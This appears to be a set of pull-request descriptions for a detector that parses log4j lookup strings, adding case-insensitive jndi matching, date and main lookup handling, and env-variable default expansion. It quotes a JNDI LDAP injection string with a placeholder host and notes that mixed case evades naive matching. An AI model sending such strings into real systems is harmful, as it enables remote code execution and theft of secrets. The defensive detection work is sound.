this PR builds on #2. log4j handles ${jNdi:ldap:your.cool.hostname} the same way it handles a lower-case ${jNdi:ldap:your.cool.hostname}, and the parser should recognize this. it seems that case-insensitivity applies for all log4j lookups, but does not normalize over things like unicode characters that lower-case to a useful ASCII character.

conveniently, this makes case-insensitive matching here pretty easy to add.

We had a report that some date fields weren't properly handled. This PR adds stronger date expansion support.

New handlers were added by more closely investigating the log4j documentation around ${date:...}.

• https://logging.apache.org/log4j/2.x/manual/lookups.html
• https://docs.oracle.com/javase/6/docs/api/java/text/SimpleDateFormat.html

The logic for these lookups is simple and lossy, but that's acceptable since we can at least report that these lookups will be made. For some users it is reasonable to simply reject a log line at the presence of main or date, regardless of later findings. For other users, it doesn't seem possible to have a general transformation between a main or date lookup, and a string useful to build other more concerning lookup tokens (like jndi or env).

edit: also adjusted the env expansion to assume that env vars are for undefined variables (so, expand to ""), but use a default value if one is provided - ${env:UNDEFINED:-hello} should expand to hello.